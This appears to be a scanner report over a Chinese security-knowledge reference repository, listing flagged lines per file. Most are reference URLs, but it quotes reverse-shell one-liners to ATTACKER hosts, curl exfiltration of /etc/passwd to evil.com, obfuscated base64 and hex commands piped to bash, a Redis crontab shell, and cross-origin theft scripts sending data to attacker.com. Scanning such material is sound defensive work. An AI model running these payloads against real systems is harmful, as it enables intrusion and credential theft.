https://pradiptabanerjee.medium.com/confidential-containers-for-large-language-models-42477436345a - Network accessline 289
https://ironcorelabs.com/security-risks-rag/ - Network accessline 338
https://www.securityweek.com/chatgpt-data-breach-confirmed-as-security-firm-warns-of-vulnerable-component-exploitation/ - Network accessline 392
http://www.bimant.com/blog/top8-ml-model-deployment-tools/ - Network accessline 393
https://mlflow.org/docs/latest/deployment/index.html - Network accessline 446
https://www.docker.com/blog/llm-docker-for-local-and-hugging-face-hosting/ - Network accessline 447
https://collabnix.com/large-language-models-llms-and-docker-building-the-next-generation-web-application/ - Network accessline 448
https://mp.weixin.qq.com/s/vIDHBLbA5iWoPlYTKHSZfw - Network accessline 504
https://cloud.baidu.com/article/621826 - Network accessline 505
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Inadequate_Sandboxing.html
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-baseline-escape.md
- Access to secretsline 114
[Credential-related source omitted] - Network accessline 130
| 目标 | 检测命令 | 利用方式 | |------|----------|----------| | 云元数据 | `curl 169.254.169.254` | 获取IAM临时凭据 | - Network accessline 131
|------|----------|----------| | 云元数据 | `curl 169.254.169.254` | 获取IAM临时凭据 | | K8s API | `curl -k https://kubernetes.default.svc` | 列举Pod/获取Secret | - Network accessline 132
| 云元数据 | `curl 169.254.169.254` | 获取IAM临时凭据 | - Network accessline 133
| K8s API | `curl -k https://kubernetes.default.svc` | 列举Pod/获取Secret | - Network accessline 134
| K8s ServiceAccount | `cat /var/run/secrets/kubernetes.io/serviceaccount/token` | 认证K8s API | | 内网数据库 | `echo \| nc DB_HOST 5432` | 直连数据库 | | Redis | `redis-cli -h REDIS_HOST ping` | 未授权访问 | - Network accessline 135
| 内网数据库 | `echo \| nc DB_HOST 5432` | 直连数据库 | - Network accessline 137
| Docker Registry | `curl http://REGISTRY:5000/v2/_catalog` | 拉取敏感镜像 |
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-baseline-train.md
- Network accessline 59
https://www.secrss.com/articles/64006 - Network accessline 60
https://huntr.com/bounties/a795bf93-c91e-4c79-aae8-f7d8bda92e2a - Network accessline 95
https://doc.dataiku.com/dss/latest/concepts/homepage/index.html - Network accessline 96
https://www.secrss.com/articles/62742 - Network accessline 149
https://llmtop10.com/llm05/ - Network accessline 199
- https://cloud.baidu.com/article/621826
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-data-app.md
- Network accessline 54
https://nordicapis.com/llm-security-hinges-on-api-security/ - Network accessline 55
https://superface.ai/blog/how-to-connect-openai-gpts-to-apis - Network accessline 113
https://mp.weixin.qq.com/s/ygqRv4vGW5YZS1SiVzAejg - Network accessline 171
https://mp.weixin.qq.com/s/ygqRv4vGW5YZS1SiVzAejg - Network accessline 243
https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms - Network accessline 244
https://learnprompting.org/docs/prompt_hacking/leaking - Network accessline 245
https://simonwillison.net/2022/Sep/12/prompt-injection/ - Network accessline 246
https://matt-rickard.com/a-list-of-leaked-system-prompts - Network accessline 247
https://genai.stackexchange.com/questions/197/how-to-effectively-prevent-prompt-leaking-via-injection - Network accessline 293
https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms - Network accessline 294
https://learnprompting.org/docs/prompt_hacking/leaking - Network accessline 295
https://simonwillison.net/2022/Sep/12/prompt-injection/ - Network accessline 296
https://matt-rickard.com/a-list-of-leaked-system-prompts - Network accessline 297
https://genai.stackexchange.com/questions/197/how-to-effectively-prevent-prompt-leaking-via-injection - Network accessline 348
https://www.secrss.com/articles/51763 - Network accessline 349
https://github.com/linexjlin/GPTs - Network accessline 418
https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms - Network accessline 419
https://learnprompting.org/docs/prompt_hacking/leaking - Network accessline 420
https://simonwillison.net/2022/Sep/12/prompt-injection/ - Network accessline 421
https://matt-rickard.com/a-list-of-leaked-system-prompts - Network accessline 422
https://genai.stackexchange.com/questions/197/how-to-effectively-prevent-prompt-leaking-via-injection - Network accessline 423
https://twitter.com/simonw/status/1570933190289924096 - Network accessline 474
https://magazine.sebastianraschka.com/p/ahead-of-ai-8-the-latest-open-source - Network accessline 475
https://vulcan.io/blog/owasp-top-10-llm-risks-what-we-learned/#h2_1 - Network accessline 476
https://www.linkedin.com/pulse/security-threats-around-llm-systems-categorization-gaurang-desai-bvale?trk=article-ssr-frontend-pulse_more-articles_related-content-card - Network accessline 525
https://www.anquanke.com/post/id/247895 - Network accessline 526
https://www.aixinzhijie.com/article/6825834 - Network accessline 575
https://blog.barracuda.com/2024/04/03/generative-ai-data-poisoning-manipulation - Network accessline 576
https://36kr.com/p/2723023103489920 - Network accessline 577
https://shardsecure.com/blog/data-manipulation-ml - Network accessline 625
https://blog.csdn.net/2401_84252820/article/details/138406655?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-4-138406655-blog-124579765.235v43pc_blog_bottom_relevance_base5&spm=1001.2101.3001.424 - Network accessline 673
https://cloud.baidu.com/article/3248650 - Network accessline 674
https://forum.butian.net/share/3072 - Network accessline 731
https://aws.amazon.com/cn/blogs/china/privacy-and-security-of-agent-applications/ - Network accessline 732
https://arxiv.org/abs/2511.17671?utm_source=chatgpt.com - Network accessline 733
https://arxiv.org/abs/2601.05504?utm_source=chatgpt.com - Network accessline 797
https://www.lesswrong.com/posts/aPeJE8bSo6rAFoLqg/solidgoldmagikarp-plus-prompt-generation - Network accessline 798
https://www.lesswrong.com/posts/Ya9LzwEbfaAMY8ABo/solidgoldmagikarp-ii-technical-details-and-more-recent - Network accessline 846
https://www.nightfall.ai/ai-security-101/model-inversion - Network accessline 847
https://www.michalsons.com/blog/model-inversion-attacks-a-new-ai-security-risk/64427 - Network accessline 901
https://mp.weixin.qq.com/s/ygqRv4vGW5YZS1SiVzAejg
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-data-deploy.md
- Network accessline 87
https://bj.bcebos.com/ensec-web-privacy/anquan/%E5%A4%A7%E6%A8%A1%E5%9E%8B%E5%AE%89%E5%85%A8%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%E7%99%BD%E7%9A%AE%E4%B9%A6.pdf - Network accessline 88
https://mp.weixin.qq.com/s/JlJwDRzYG985kF4d6g7qjw - Network accessline 137
https://news.cctv.com/2022/06/21/ARTIdhgLL1sSK5Hjl0uYWybr220621.shtml - Network accessline 138
https://atlas.mitre.org/techniques/AML.T0036 - Network accessline 187
https://www.kuaikuaicloud.com/market/3667.html - Network accessline 228
http://www.nelab-bdst.org.cn/data/upload/ueditor/20230707/64a78209c719c.pdf
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-data-train.md
- Network accessline 61
https://mp.weixin.qq.com/s/3WAWy4ZV6Ezft_2MJHMgtg - Network accessline 62
https://mp.weixin.qq.com/s/yiloJtlmv7MT3df9AnWNZQ - Network accessline 108
https://mp.weixin.qq.com/s/c_cIzecyw48MatwKBZbdUg - Network accessline 109
https://36kr.com/p/2541963790493187 - Network accessline 159
https://mp.weixin.qq.com/s/VCmhL-LbGfCViQrAEwyCAg - Network accessline 160
https://mp.weixin.qq.com/s/kp1Sl5TC_uuVelhj8HPmdw - Network accessline 203
https://mp.weixin.qq.com/s/VCmhL-LbGfCViQrAEwyCAg - Network accessline 204
https://mp.weixin.qq.com/s/kp1Sl5TC_uuVelhj8HPmdw - Network accessline 205
https://mp.weixin.qq.com/s/c_cIzecyw48MatwKBZbdUg - Network accessline 206
https://36kr.com/p/2541963790493187 - Network accessline 260
https://platform.openai.com/docs/guides/fine-tuning/preparing-your-dataset - Network accessline 261
https://arxiv.org/abs/2310.03693 - Network accessline 262
https://blog.csdn.net/yalecaltech/article/details/117135011 - Network accessline 317
https://cloud.baidu.com/article/1819998 - Network accessline 370
https://www.eet-china.com/mp/a213535.html - Network accessline 423
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Training_Data_Poisoning.html - Network accessline 480
https://mp.weixin.qq.com/s/C9eIW06UXKL8g9TkZzGn_w - Network accessline 481
https://www.techpolicy.press/new-study-suggests-chatgpt-vulnerability-with-potential-privacy-implications/ - Network accessline 531
https://ensarseker1.medium.com/data-poisoning-attacks-the-silent-threat-to-ai-integrity-d83900eea276 - Network accessline 532
https://www.51cto.com/article/760084.html - Network accessline 588
https://home.dartmouth.edu/news/2024/01/zeroing-origins-bias-large-language-models
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-identity-app.md
- Network accessline 61
https://mp.weixin.qq.com/s/lgMI9tf0xAl8siZYaKcqog - Network accessline 62
https://mcp.csdn.net/6800a595a5baf817cf49422d.html - Network accessline 121
https://www.reddit.com/r/cybersecurity/comments/1lzrkf6/another_critical_cvss_9610_mcpbased_vulnerability/ - Network accessline 122
https://threatprotect.qualys.com/2025/07/03/anthropic-model-context-protocol-mcp-inspector-remote-code-execution-vulnerability-cve-2025-49596/?utm_source=chatgpt.com - Network accessline 180
https://arxiv.org/pdf/2211.09527.pdf - Network accessline 181
https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms - Network accessline 182
https://prompt-guide.xiniushu.com/prompt_hacking/injection - Network accessline 241
https://www.knightcxx.cn/?p=118 - Network accessline 309
https://simonwillison.net/2023/Feb/15/bing/ - Network accessline 310
https://www.tomshardware.com/news/chatgpt-generates-windows-11-pro-keys - Network accessline 311
https://www.polygon.com/23690187/discord-ai-chatbot-clyde-grandma-exploit-chatgpt?continueFlag=9d7655502c6eb54decc775fab724139d - Network accessline 361
https://sysdig.com/blog/lateral-movement-cloud-containers/ - Network accessline 403
https://dtzed.com/studies/2023/10/8093/ - Network accessline 404
https://www.cobalt.io/blog/llm-insecure-output-handling - Network accessline 460
https://allabouttesting.org/owasp-agentic-ai-threat-t9-identity-spoofing-impersonation-in-ai-systems/ - Network accessline 461
https://moanju.org/posts/ai-agent-attack-examples-owasp-2026/ - Network accessline 509
https://openai.com/blog/march-20-chatgpt-outage - Network accessline 510
https://securityaffairs.com/144057/data-breach/openai-chatgpt-redis-bug-data-leak.html - Network accessline 567
https://kenhuangus.medium.com/llm-powered-applications-architecture-patterns-and-security-controls-7a153c3ec9f4 - Network accessline 568
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Insufficient_Access_Control.html - Network accessline 622
https://mp.weixin.qq.com/s/DMx-By1qxB5cQglkaq9ppQ - Network accessline 623
https://priyalwalpita.medium.com/securing-the-future-of-ai-a-deep-dive-into-owasps-top-10-security-risks-for-large-language-models-72c5ff540cd3 - Network accessline 676
http://www.nelab-bdst.org.cn/data/upload/ueditor/20230707/64a78209c719c.pdf - Network accessline 677
https://blog.csdn.net/douyu0814/article/details/133703803 - Network accessline 725
https://www.knightcxx.cn/?p=118 - Network accessline 788
https://thehackernews.com/2023/06/over-100000-stolen-chatgpt-account.html - Network accessline 789
https://www.makeuseof.com/why-hackers-target-chatgpt-accounts/ - Network accessline 847
https://mp.weixin.qq.com/s/DMx-By1qxB5cQglkaq9ppQ - Network accessline 903
https://www.signalfire.com/blog/prompt-injection-security - Network accessline 904
https://developer.nvidia.com/blog/mitigating-stored-prompt-injection-attacks-against-llm-applications/
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-identity-deploy.md
- Network accessline 55
- https://www.securityweek.com/major-organizations-using-hugging-face-ai-tools-put-at-risk-by-leaked-api-tokens/ - Network accessline 56
- https://aws.amazon.com/cn/what-is/api-key/ - Network accessline 118
https://medium.com/@nitishjoshi060291/llm-hallucinations-fix-it-with-vector-database-de04eee531da - Network accessline 119
https://cloudsecurityalliance.org/blog/2023/11/22/mitigating-security-risks-in-retrieval-augmented-generation-rag-llm-applications - Network accessline 120
https://www.cnblogs.com/LittleHann/p/17440063.html#_label3 - Network accessline 121
https://dongnian.icu/llms/llms_article/9.%E6%A3%80%E7%B4%A2%E5%A2%9E%E5%BC%BALLM/index.html - Network accessline 122
https://cloudsecurityalliance.org/blog/2023/11/22/mitigating-security-risks-in-retrieval-augmented-generation-rag-llm-applications - Network accessline 174
https://www.leewayhertz.com/security-in-ai-development/ - Network accessline 223
https://atmosphericthinking.medium.com/massive-leak-of-chatgpt-credentials-over-100-000-affected-db6cef3a18c5 - Network accessline 224
https://blog.csdn.net/FreeBuf_/article/details/140870185?utm_relevant_index=7
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-identity-train.md
- Network accessline 50
https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf - Network accessline 51
https://developer.nvidia.com/zh-cn/blog/securing-llm-systems-against-prompt-injection/ - Network accessline 97
https://blog.csdn.net/qq_43543209/article/details/135683986 - Network accessline 146
https://www.pulumi.com/ai/answers/mptvxaHguJ6A4yXSHi92zZ/implementing-role-based-access-to-ai-training-data-in-snowflake
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-model-content.md
- Network accessline 103
https://mp.weixin.qq.com/s/yozvoCG92TDIF86EEz9g8Q - Network accessline 104
https://mp.weixin.qq.com/s/RdIQBaBR0RQJUFp0Pf7ovA - Network accessline 105
https://mp.weixin.qq.com/s/sxjU930eO4K_HKPPWXPlWg - Network accessline 106
https://mp.weixin.qq.com/s/PGMVqjeI18x7GZyksvtGzQ - Network accessline 177
https://mp.weixin.qq.com/s/4UzoMtIL2oSkxzzuceuxhg - Network accessline 178
https://zh-cn.eureporter.co/internet-2/artificial-intelligence/2024/02/03/laws-to-prevent-ai-terrorism-are-urgently-needed/ - Network accessline 244
https://mp.weixin.qq.com/s/5cEkxtEbH7GUKiQ5aRsnrg - Network accessline 313
https://mp.weixin.qq.com/s/nOn1aQDEQys5D7sNK1_oPg - Network accessline 314
https://mp.weixin.qq.com/s/ZpM09SUHSTvM9SrvrlBEmA - Network accessline 389
https://mp.weixin.qq.com/s/krG4NGBCjK5kUL2x_RGRSg - Network accessline 390
https://world.huanqiu.com/article/4FIHGhZ96FB - Network accessline 391
https://insight.kellogg.northwestern.edu/zh/article/how-to-prepare-for-ai-generated-misinformation - Network accessline 466
https://mp.weixin.qq.com/s/KGqu6i2_xX9d7-x8P189Lw - Network accessline 548
https://mp.weixin.qq.com/s/2bm7nuXkORLZ20mfpOmwrA
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-model-copyright.md
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-model-deploy.md
- Network accessline 54
https://36kr.com/p/2653630408081670 - Network accessline 55
https://www.sciencedirect.com/science/article/abs/pii/S0167865522003063 - Network accessline 131
https://rodtrent.substack.com/p/must-learn-ai-security-part-8-model - Network accessline 132
https://arxiv.org/pdf/2403.06634.pdf - Network accessline 133
https://cloud.tencent.com/developer/article/2378846 - Network accessline 134
https://www.53ai.com/news/LargeLanguageModel/2024071740891.html
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-model-extraction.md
- Network accessline 68
https://atlas.mitre.org/techniques/AML.T0005 - Network accessline 164
https://zhuanlan.zhihu.com/p/620575831 - Network accessline 165
https://atlas.mitre.org/techniques/AML.T0015 - Network accessline 267
https://atlas.mitre.org/tactics/AML.TA0001 - Network accessline 268
https://www.sohu.com/a/584853485_121124363 - Network accessline 317
https://atlas.mitre.org/techniques/AML.T0014 - Network accessline 361
https://atlas.mitre.org/techniques/AML.T0013
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-model-hallucination.md
- Network accessline 57
https://www.lakera.ai/blog/guide-to-hallucinations-in-large-language-models - Network accessline 58
https://arxiv.org/pdf/2305.13534.pdf - Network accessline 122
https://arxiv.org/pdf/2311.05232.pdf - Network accessline 123
https://mp.weixin.qq.com/s/qFAQQJ_FuhY2iaLzkoWynA - Network accessline 124
https://www.lakera.ai/blog/guide-to-hallucinations-in-large-language-models - Network accessline 125
https://www.appendata.com/blogs/ai-hallucinations - Network accessline 188
https://github.com/PKU-YuanGroup/Hallucination-Attack - Network accessline 189
https://zhuanlan.zhihu.com/p/661444210 - Network accessline 190
https://arxiv.org/pdf/2310.01469.pdf
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-model-jailbreak.md
- Network accessline 55
https://github.com/0xk1h0/ChatGPT_DAN - Network accessline 56
https://www.digitaltrends.com/computing/what-is-dan-prompt-chatgpt/ - Network accessline 57
https://arxiv.org/abs/2308.03825 - Network accessline 103
https://www.anthropic.com/research/many-shot-jailbreaking - Network accessline 176
https://mp.weixin.qq.com/s/LSTZUKOlXP9VZTxa-nKkhA - Network accessline 177
https://blog.uptrain.ai/llm-jailbreak/ - Network accessline 178
https://www.fuzzylabs.ai/blog-post/jailbreak-attacks-on-large-language-models - Network accessline 250
https://www.lakera.ai/blog/jailbreaking-large-language-models-guide - Network accessline 299
https://arxiv.org/abs/2307.15043 - Network accessline 300
https://twitter.com/andyzou_jiaming/status/1684766170766004224 - Network accessline 301
https://zhuanlan.zhihu.com/p/662098517 - Network accessline 353
https://arxiv.org/abs/2404.12038
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-model-misuse.md
- Network accessline 63
https://stcn.com/article/detail/1250289.html - Network accessline 64
https://www.51cto.com/aigc/912.html - Network accessline 184
https://infosecwriteups.com/jail-breaking-chatgpt-to-write-malware-9b3ae111f30c - Network accessline 185
https://www.theregister.com/2024/04/17/gpt4_can_exploit_real_vulnerabilities/ - Network accessline 186
https://arxiv.org/abs/2404.08144 - Network accessline 187
https://blog.csdn.net/pengpengjy/article/details/132478358 - Network accessline 244
https://www.freebuf.com/articles/ai-security/454527.html - Network accessline 245
https://zhuanlan.zhihu.com/p/1928583554805260699 - Network accessline 312
https://www.ibm.com/topics/model-drift - Network accessline 313
https://www.datacamp.com/tutorial/understanding-data-drift-model-drift - Network accessline 314
https://mp.weixin.qq.com/s/QbADBoHEqpDBKNkr-so3Ig - Network accessline 315
https://arxiv.org/pdf/2307.09009.pdf - Network accessline 423
https://stcn.com/article/detail/1250289.html - Network accessline 424
https://www.51cto.com/aigc/912.html - Network accessline 479
https://mp.weixin.qq.com/s/8Ca4HmkafP9SxjHayC9zdQ - Network accessline 480
https://mp.weixin.qq.com/s/-0i0SlGat-Y5hXcM3EIGiw - Network accessline 481
https://mp.weixin.qq.com/s/2Ai4nKOzEnkhqJD903O8mA - Network accessline 539
https://stcn.com/article/detail/1250289.html - Network accessline 540
https://www.51cto.com/aigc/912.html - Network accessline 541
https://36kr.com/p/2190993024614530
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-model-train.md
- Network accessline 72
https://atlas.mitre.org/techniques/AML.T0018 - Network accessline 73
https://defence.ai/ai-security/backdoor-attacks-ml/ - Network accessline 74
https://arxiv.org/abs/2308.14367 - Network accessline 127
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Inadequate_AI_Alignment.html - Network accessline 189
https://wiki.offsecml.com/Supply+Chain+Attacks/Models/Using+Keras+Lambda+Layers - Network accessline 192
https://5stars217.github.io/2023-08-08-red-teaming-with-ml-models/ - Network accessline 195
https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model - Network accessline 240
https://thenewstack.io/how-to-reduce-the-hallucinations-from-large-language-models/ - Network accessline 290
https://aclanthology.org/2020.acl-main.249/
deepsec/spear/skills/specialized/secknowledge-skill/references/testing-methodology.md
- Access to secretsline 119
[Credential-related source omitted] - Access to secretsline 352
[Credential-related source omitted] - Network accessline 533
> 官方地址: https://genai.owasp.org/resource/owasp-top-10-for-llm-applications-2025/ - Network accessline 550
> 官方地址: https://genai.owasp.org/resource/agentic-ai/ - Network accessline 567
> 官方地址: https://owasp.org/www-project-web-security-testing-guide/
deepsec/spear/skills/specialized/secknowledge-skill/references/vulnclaw-ctf-src-routing.md
- Network accessline 62
Integrated from `Pa55w0rd/secknowledge-skill`: https://github.com/Pa55w0rd/secknowledge-skill
deepsec/spear/skills/specialized/secknowledge-skill/references/web-deployment-security.md
- Network accessline 199
# 在线检查 # https://www.ssllabs.com/ssltest/ - Network accessline 200
# https://www.ssllabs.com/ssltest/ - Network accessline 246
| 安全组全开 | 检查`0.0.0.0/0`入站规则 | 暴露内部服务 | | 密钥硬编码 | `trufflehog`/`gitleaks` 扫描代码仓库 | 账户接管 | | 元数据服务 | `curl http://169.254.169.254/` (SSRF利用) | 凭据窃取 | - Network accessline 247
| 密钥硬编码 | `trufflehog`/`gitleaks` 扫描代码仓库 | 账户接管 | | 元数据服务 | `curl http://169.254.169.254/` (SSRF利用) | 凭据窃取 | | 日志未开启 | CloudTrail/ActionTrail审计 | 无法溯源 | - Network accessline 248
| 元数据服务 | `curl http://169.254.169.254/` (SSRF利用) | 凭据窃取 | - Network accessline 264
# 代码仓库扫描 gitleaks detect --source=. --verbose trufflehog git https://github.com/org/repo - Network accessline 266
trufflehog git https://github.com/org/repo - Access to secretsline 269
[Credential-related source omitted]
deepsec/spear/skills/specialized/secknowledge-skill/references/web-deser.md
- Network accessline 53
# marshalsec启动恶意LDAP/RMI java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker/#Exploit" - Network accessline 54
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker/#Exploit" - Dangerous shell operationline 80
3. 终点: 到达system()/eval()/file_put_contents()等危险函数
deepsec/spear/skills/specialized/secknowledge-skill/references/web-leak.md
- Access to secretsline 52
[Credential-related source omitted]
deepsec/spear/skills/specialized/secknowledge-skill/references/web-logic-auth.md
- Network accessline 43
def idor_test(base_url, param_name, id_range, session_cookie): for id in range(id_range[0], id_range[1]): resp = requests.get( - Network accessline 44
for id in range(id_range[0], id_range[1]): resp = requests.get( f"{base_url}?{param_name}={id}", - Network accessline 45
resp = requests.get( - Network accessline 167
import threading def create_order(): requests.post("/order/create", json={"price":0.01,"productId":"premium"}) - Network accessline 168
def create_order(): requests.post("/order/create", json={"price":0.01,"productId":"premium"}) threads = [threading.Thread(target=create_order) for _ in range(50)] - Network accessline 169
requests.post("/order/create", json={"price":0.01,"productId":"premium"}) - Network accessline 309
import threading, requests def redeem(): requests.post("/redeem", data={"points":1000, "item":"iPhone"}) - Network accessline 311
requests.post("/redeem", data={"points":1000, "item":"iPhone"}) - Network accessline 453
| Redis | 6379 | redis-cli -h IP info | 写SSH公钥/Webshell/计划任务 | | MongoDB | 27017 | mongo IP:27017 | 无认证直连,导出全部数据 | | Elasticsearch | 9200 | curl IP:9200/_cat/indices | 读取索引数据 | - Network accessline 454
| MongoDB | 27017 | mongo IP:27017 | 无认证直连,导出全部数据 | | Elasticsearch | 9200 | curl IP:9200/_cat/indices | 读取索引数据 | | Memcached | 11211 | echo stats, nc IP 11211 | 数据泄露 | - Network accessline 455
| Elasticsearch | 9200 | curl IP:9200/_cat/indices | 读取索引数据 | - Network accessline 456
| Memcached | 11211 | echo stats, nc IP 11211 | 数据泄露 | - Network accessline 457
| Docker API | 2375 | curl IP:2375/info | 容器逃逸/RCE |
deepsec/spear/skills/specialized/secknowledge-skill/references/web-modern-protocols.md
- Network accessline 21
# 基础检测: 发送自定义Origin观察响应 curl -H "Origin: https://evil.com" -I https://target.com/api/userinfo - Network accessline 22
curl -H "Origin: https://evil.com" -I https://target.com/api/userinfo - Network accessline 23
# 检查响应头: # Access-Control-Allow-Origin: https://evil.com → 危险! # Access-Control-Allow-Credentials: true → 可携带Cookie跨域请求 - Network accessline 24
# Access-Control-Allow-Origin: https://evil.com → 危险! - Network accessline 41
<!-- 恶意页面: 跨域窃取用户数据 --> <script> fetch('https://target.com/api/userinfo', {credentials: 'include'}) - Network accessline 42
<script> fetch('https://target.com/api/userinfo', {credentials: 'include'}) .then(r => r.json()) - Network accessline 43
fetch('https://target.com/api/userinfo', {credentials: 'include'}) - Network accessline 44
.then(r => r.json()) .then(d => fetch('https://attacker.com/steal?data=' + JSON.stringify(d))); </script> - Network accessline 45
.then(d => fetch('https://attacker.com/steal?data=' + JSON.stringify(d))); - Network accessline 49
<iframe sandbox="allow-scripts allow-top-navigation" src="data:text/html, <script> fetch('https://target.com/api/userinfo',{credentials:'include'}) - Network accessline 50
<script> fetch('https://target.com/api/userinfo',{credentials:'include'}) .then(r=>r.text()).then(d=>parent.postMessage(d,'*')) - Network accessline 51
fetch('https://target.com/api/userinfo',{credentials:'include'}) - Network accessline 237
ws.onmessage = function(e) { // 窃取响应数据 fetch('https://attacker.com/steal?data=' + encodeURIComponent(e.data)); - Network accessline 238
// 窃取响应数据 fetch('https://attacker.com/steal?data=' + encodeURIComponent(e.data)); }; - Network accessline 239
fetch('https://attacker.com/steal?data=' + encodeURIComponent(e.data)); - Network accessline 287
# 正常流程 https://auth.target.com/authorize?response_type=code&client_id=app&redirect_uri=https://app.com/callback - Network accessline 288
https://auth.target.com/authorize?response_type=code&client_id=app&redirect_uri=https://app.com/callback - Network accessline 290
# 攻击: 篡改redirect_uri窃取授权码 redirect_uri=https://attacker.com/steal # 完全替换 - Network accessline 291
redirect_uri=https://attacker.com/steal # 完全替换 - Network accessline 292
redirect_uri=https://app.com.attacker.com/callback # 子域混淆 - Network accessline 293
redirect_uri=https://app.com/callback/../../../attacker # 路径遍历 - Network accessline 294
redirect_uri=https://app.com/callback?next=https://attacker.com # 开放重定向链 - Network accessline 311
# 攻击流程 (state缺失时) 1. 攻击者发起OAuth授权,获取自己账号的授权码 2. 构造链接: https://app.com/callback?code=ATTACKER_CODE - Network accessline 312
1. 攻击者发起OAuth授权,获取自己账号的授权码 2. 构造链接: https://app.com/callback?code=ATTACKER_CODE 3. 诱骗受害者点击 → 受害者账号绑定攻击者的第三方账号 - Network accessline 313
2. 构造链接: https://app.com/callback?code=ATTACKER_CODE - Network accessline 325
[Credential-related source omitted] - Network accessline 326
[Credential-related source omitted] - Access to secretsline 326
[Credential-related source omitted]
deepsec/spear/skills/specialized/secknowledge-skill/references/web-rce.md
- Network accessline 43
# DNSLog外带 ping `whoami`.xxxxx.ceye.io curl http://`whoami`.xxxxx.ceye.io - Network accessline 45
curl http://`whoami`.xxxxx.ceye.io - Network accessline 47
# HTTP外带 curl https://evil.com/?d=`cat /etc/passwd | base64 | tr '\n' '-'` - Network accessline 48
curl https://evil.com/?d=`cat /etc/passwd | base64 | tr '\n' '-'` - Network accessline 49
curl -X POST -d "data=$(cat /etc/passwd)" https://evil.com/c - Dangerous shell operationline 98
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash - Possible obfuscationline 102
echo -e "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" | bash - Possible obfuscationline 103
$(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64") - Network accessline 113
push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")' - Network accessline 114
viewbox 0 0 640 480 fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")' pop graphic-context - Dangerous shell operationline 115
fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")' - Network accessline 115
fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")' - Network accessline 143
# 或写crontab config set dir /var/spool/cron && config set dbfilename root set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/8080 0>&1\n\n" && save - Dangerous shell operationline 145
set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/8080 0>&1\n\n" && save - Network accessline 145
set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/8080 0>&1\n\n" && save - Network accessline 151
# Bash bash -i >& /dev/tcp/ATTACKER/PORT 0>&1 - Dangerous shell operationline 152
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1 - Network accessline 152
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1 - Network accessline 154
# Python python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);' - Network accessline 155
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);' - Dangerous shell operationline 158
perl -e 'use Socket;$i="ATTACKER";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");' - Dangerous shell operationline 161
php -r '$sock=fsockopen("ATTACKER",PORT);exec("/bin/sh -i <&3 >&3 2>&3");' - Network accessline 163
# NC无-e参数 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f - Dangerous shell operationline 164
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f - Network accessline 164
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f - Dangerous shell operationline 174
| L1代码级 | `eval()`, `assert()(PHP5)`, `create_function()`, `preg_replace(/e)` | PHP代码执行 | - Dangerous shell operationline 176
| L3进程级 | `exec()`, `popen()`, `proc_open()`, `pcntl_exec()` | 子进程执行 |
deepsec/spear/skills/specialized/secknowledge-skill/references/web-sqli-fushuling-one-pass.md
- Network accessline 3
> 来源: fushuling「SQL注入一命通关!」 > URL: https://fushuling.com/index.php/2023/04/07/sql%E6%B3%A8%E5%85%A5%E4%B8%80%E5%91%BD%E9%80%9A%E5%85%B3/ - Network accessline 4
